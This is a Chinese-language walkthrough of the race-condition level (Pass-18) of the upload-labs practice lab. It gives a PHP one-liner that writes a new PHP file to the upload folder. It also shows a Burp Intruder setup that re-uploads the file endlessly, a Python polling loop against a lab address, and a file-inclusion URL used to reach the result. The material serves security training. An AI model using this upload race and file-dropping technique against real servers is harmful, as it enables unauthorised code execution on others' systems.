Pass-18(条件竞争)
代码和第17关大差不差,所以查看提示
需要用到代码审计
上传图片木马配合解析漏洞进行getshell
新建一句话木马 18.php,代码为:
<?php fputs(fopen('../upload/shell18.php','w'),'<?php phpinfo();?>');?>
只要被成功当作PHP文件解析,就会生成shell18.php 文件
上传文件18.php,并且使用bp抓包
然后将包发送到 Intredur 中
选择狙击手的爆破模式
然后 bp设置无限发送空的Payloads,来让它一直上传该文件
选择Null payloads,然后选择无限循环(Continue indefinitely)
同时打开python脚本并运行
python脚本代码:
import requests
url = "http://192.168.114.200/upload-labs-master/upload/18.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("发包中")
在python脚本运行后,burpsuite开始无限制重放数据包
直到python脚本出现OK,再关闭burpsuite
打开根目录,可以看见shell18文件已经被成功上传
使用文件包含漏洞upload-labs/include.php?file=upload/构造url
成功访问